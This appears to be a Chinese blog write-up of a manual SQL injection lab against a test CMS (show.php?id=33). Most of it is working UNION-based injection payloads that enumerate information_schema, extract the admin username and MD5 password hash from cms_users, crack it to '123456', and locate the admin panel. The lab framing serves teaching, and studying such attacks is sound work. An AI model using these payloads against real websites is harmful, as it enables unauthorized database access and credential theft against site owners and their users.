实验目的
通过手工注入,了解SQL注入的原理。
实验环境
1. 服务器一台(网址首页:http://www.any.com/wcms)
2. 客户机一条(FireFox浏览器,带有Hackbar插件)
实验步骤
第一步:打开目标网站,寻找一个可能存在注入点的网址。
http://www.any.com/wcms/show.php?id=33

http://www.any.com/wcms/show.php?id=33 and 1=1
页面显示正常。

http://www.anyc.com/wcms/show.php?id=33 and 1=2
页面显示错误。

第二步:判断从MySQL数据库中获取到的数据表的列数。
http://www.any.com/wcms/show.php?id=33 order by 10
“order by 10” 表示根据表的第10列排序。如果存在第10列,那么显示正常,如果不存在则显示错误。

http://www.any.com/wcms/show.php?id=33 order by 15

http://www.any.com/wcms/show.php?id=33 order by 20

http://www.any.com/wcms/show.php?id=33 order by 17

http://www.any.com/wcms/show.php?id=33 order by 16

15显示正常,16显示错误,说明数据表中有15列。
第三步:判断在页面中显示出来的列的位置。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
id=33 and 1=2 是一个false语句,不会执行对 id=33 的查询。
union 是一个联合查询词,连接前后两个查询语句。
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 表示在查询的表中临时插入一行;
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 的数据,并且查询结果为这行数据。1 对应第一列的数据,依次类推。

图中显示出了数字 3 和 11, 说明数据表中第3列和第11列的数据会显示到页面中。
第四步:查看数据库名称。
database() 为MySQL的函数,用来显示当前数据库名称。

第五步:查询当前数据库cms中的表的数量。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636d73
0x636d73 是 cms 的十六进制表示,0x 代表十六进制数。

第六步:查询出数据库中所有表名,猜测后台管理员信息在哪张表中。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636D73 limit 0,1
limit m,n m 是指记录开始的 index,0 表示从第一条记录开始,n 是指从第 m+1 条开始,取 n 条数据。

第一个表名为 “cms_article”。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x636D73 limit 1,1

第二个表名为 cms_category。
依次类推,8个表名分别为:cms_article、cms_category、cms_file、cms_friendlink、cms_message、cms_notice、cms_page、cms_users。
第七步:查询 cms_users列的数量。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273 and table_schema=0x636D73
0x636D735F7573657273 是表 cms_users 的十六进制表示。

第八步:查询 cms_users 的列名。
http://www.any.com/show.php?id=33 and 1=2 union select 1,2,unhex(hex(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273 and table_schema=0x636D73 limit 0,1

cms_users 的三个列名是:userid、username、password。
第九步:查询 username、password 的内容。
http://www.any.com/wcms/show.php?id=33 and 1=2 union select 1,2,unhex(hex(username)),4,5,6,7,8,9,10,unhex(hex(password)),12,13,14,15 from cms_users limit 0,1
加密后的密码为 e10adc3949ba59abbe56e057f20f883e,用户名为 admin。 对密码进行解密,密码为 123456 。

第十步:查找后台网页。
http://www.any.com/wcms/admin/


1589

被折叠的 条评论
为什么被折叠?



